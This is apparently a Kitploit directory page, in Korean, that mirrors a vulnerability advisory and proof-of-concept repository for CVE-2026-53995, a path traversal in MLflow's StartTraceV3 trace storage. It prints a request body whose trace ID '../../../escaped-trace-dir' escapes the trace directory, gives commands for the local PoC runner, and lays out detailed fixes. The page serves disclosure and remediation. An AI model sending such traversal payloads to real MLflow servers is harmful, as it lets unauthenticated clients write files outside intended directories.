Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1의 경로 순회(path traversal) 취약점으로 인해 의도된 디렉터리 외부에 트레이스 파일을 쓸 수 있습니다. | Kitploit
도구/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & Research
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1의 경로 순회(path traversal) 취약점으로 인해 의도된 디렉터리 외부에 트레이스 파일을 쓸 수 있습니다.

저장소 보기
128일 전아직 검토되지 않음
공유

CVE-2026-53995: MLflow <= 3.17.1 StartTraceV3 경로 순회

심각도: 높음, CVSS 3.1 8.2

벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

영향받는 버전: FileStore 추적 백엔드를 사용하는 MLflow 버전 <= 3.17.1

구성 요소: MLflow Tracing API, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (경로명의 제한된 디렉터리 제한 부적절), CWE-23 (상대 경로 순회), CWE-73 (파일 이름 또는 경로의 외부 제어)

발견 및 보고: Sai Teja Erukude


요약

MLflow는 StartTraceV3 추적 API를 통해 클라이언트가 제어하는 trace_info.trace_id를 허용합니다. 추적 백엔드가 FileStore인 경우, 이 ID는 ../와 같은 순회 세그먼트를 거부하지 않고 파일시스템 경로 구성에 사용됩니다.

공격자는 ../../../escaped-trace-dir와 같은 추적 ID를 제출하여 의도된 실험 추적 디렉터리를 벗어날 수 있습니다. 그러면 MLflow는 추적 저장 트리 외부의 확인된 디렉터리에 추적 관련 파일을 생성합니다.

영향

추적 엔드포인트가 인증 또는 접근 제한 없이 노출된 경우, 인증되지 않은 클라이언트가 FileStore 기반 서버에서 MLflow가 제어하는 추적 파일의 파일시스템 위치에 영향을 줄 수 있으며, 이는 서버 프로세스의 파일시스템 권한에 따릅니다. 포함된 PoC는 Flask의 로컬 테스트 클라이언트를 사용하며, 배포 환경의 네트워크 노출이나 인증 구성을 테스트하지는 않습니다.

PoC는 의도된 실험 추적 디렉터리 외부에 대한 쓰기를 보여줍니다:

  • trace_info.yaml: 클라이언트가 제공한 추적 정보를 포함합니다.
  • request_metadata/poc_metadata: 공격자가 제어하는 메타데이터를 포함합니다.
  • tags/poc_tag: 공격자가 제어하는 태그 값을 포함합니다.

이는 요청 데이터가 추적 관련 파일이 기록되는 위치를 제어할 수 있게 함으로써 무결성에 영향을 미칩니다. 추적 저장 트리 외부의 예상치 못한 디렉터리와 파일은 제한적인 가용성 영향도 초래할 수 있습니다. 시연된 쓰기는 MLflow의 추적 파일 형식과 파일 이름을 사용하며, 임의의 파일 내용, 코드 실행 또는 기밀성 영향을 입증하지는 않습니다.

보고서는 다음과 같은 CVSS 3.1 지표를 할당합니다:

지표값
공격 벡터 (AV)네트워크 (N)
공격 복잡도 (AC)낮음 (L)
필요한 권한 (PR)없음 (N)
사용자 상호작용 (UI)없음 (N)
범위 (S)변경되지 않음 (U)
기밀성 (C)없음 (N)
무결성 (I)높음 (H)
가용성 (A)낮음 (L)

기술 세부 사항

취약한 요청 경로는 다음과 같습니다:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

요청은 trace.trace_info 내부에 ID를 제공합니다:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

이 발췌는 순회와 관련된 필드들을 보여줍니다. 러너는 trace 상태, 타임스탬프, 미리보기 필드를 포함한 완전한 요청을 구성합니다.

클라이언트가 제어하는 ID는 PoC 디렉터리를 기준으로 다음과 같은 경로 해석을 생성합니다:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

저장된 응답은 HTTP 200을 반환하며 악성 trace ID를 보존합니다. 결과 파일은 의도된 실험 trace 디렉터리 외부, mlruns/ 옆에 위치합니다.

개념 증명

run_poc.py는 악성 StartTraceV3 요청을 생성하고, 로컬 FileStore를 구성하며, Flask의 테스트 클라이언트를 통해 실제 MLflow HTTP 라우트를 호출하고, 응답과 파일시스템 증거를 기록합니다. 이는 수신 대기하는 네트워크 서버를 시작하지 않고 해당 라우트를 실행합니다.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

기계 판독 가능한 결과를 출력하려면:

python -B run_poc.py --json

저장된 증거에는 다음과 같은 결과가 포함되어 있으며, 여기서는 축약하여 표시합니다:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

러너는 다음을 저장합니다:

  • evidence/start-trace-request.json: 전체 요청 본문.
  • evidence/start-trace-response.json: 서버 응답.
  • evidence/escaped-trace-info.yaml: 트레이스 디렉터리 외부에 기록된 트레이스 정보의 사본.
  • evidence/summary.json: 패키지 버전, 확인된 경로, 상태 코드, 검증 결과.

success: true와 종료 코드 0은 경로 순회가 재현되었음을 의미합니다. 검사가 실패하면 종료 코드 1을 반환하지만, 이것만으로는 특정 버전이 수정되었다고 증명되지 않습니다.

페이로드는 PoC 디렉터리 내부의 escaped-trace-dir/ 아래에 시연용 트레이스 데이터를 기록합니다. 러너는 mlruns/와 evidence/도 기록하며, 다시 실행하면 저장된 증거가 대체됩니다. 러너는 이전 실행에서 이미 존재할 수 있는 파일을 확인하므로, 새 결과를 수집할 때는 새 복사본을 사용하십시오. 저장된 증거의 절대 경로는 원래 재현 환경을 나타내며 새 체크아웃에서는 달라집니다.

로컬 데모 영상이 포함되어 있습니다.

해결 방안

경로를 구성하거나 디렉터리를 생성하기 전에 FileStore 경계에서 트레이스 ID를 검증하십시오:

  • 파일시스템 경로 구성 요소로 사용되는 트레이스 ID에 대해 엄격한 허용 목록을 적용합니다.
  • 서버 플랫폼과 관계없이 경로 구분자, 순회 세그먼트, 절대 경로, Windows 드라이브 경로를 거부합니다.
  • 실험 트레이스 디렉터리를 확인하고 해당 디렉터리가 실험 디렉터리 내부에 남아 있는지 검증합니다.
  • 기존 파일시스템 링크가 존재하는 경우를 포함하여, 최종 트레이스 디렉터리를 확인하고 해당 디렉터리가 실험의 트레이스 디렉터리 내부에 남아 있는지 검증합니다.
  • 관련 FileStore 조회, 쓰기, 아티팩트 경로, 삭제 작업에도 동일한 검증 및 포함 검사를 재사용합니다.

파일시스템 부작용이 발생하기 전에 이러한 검사를 시행하십시오. 유효하지 않은 ID는 INVALID_PARAMETER_VALUE를 발생시켜야 하며, HTTP 라우트는 400을 반환해야 합니다. 유효한 트레이스 ID는 계속 정상 동작해야 합니다. 다른 백엔드가 지원하는 ID 형식을 유지할 수 있도록 파일시스템 관련 제한은 FileStore 백엔드에 두십시오.

테스트된 패치가 배포될 때까지는 트레이스 생성 엔드포인트에 대한 접근을 제한하거나, 호환성을 확인한 후 트레이스 추적을 구성된 SQL 백엔드로 이전하십시오.

제안된 패치, 호환성 고려 사항, 회귀 검사는 fix.md를 참조하십시오. 조회 및 삭제 관련 권고 사항은 소스 검토에서 도출되었으며, 포함된 PoC는 StartTraceV3 생성 경로를 시연합니다.

크레딧

Sai Teja Erukude가 발견하고 보고했습니다.

공개는 VulnCheck를 통해 조정되었습니다.

참고 자료

  • CVE 레코드: CVE-2026-53995
  • 업스트림 수정 PR #26842: Fix FileStore trace path traversal
  • MLflow 저장소
  • CWE-22
  • CWE-23
  • CWE-73
  • PoC 러너
  • 저장된 재현 증거
  • 데모 영상
  • 제안된 수정

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    브라우저 측 레드 팀 툴킷으로, 정찰, 페이로드 생성, 자격 증명 공격, 암호화, 인코딩 및 참여 보고를 위한 102개의 오프라인 도구를 제공합니다.

    353
  • 4

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI 네이티브 사이버보안을 위한 행동 체계—의도가 통제된 실행이 되고, 증거가 운영 메모리가 되며, 모든 운영이 다음 운영을 개선하는 곳.

    288

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
도구 다운로드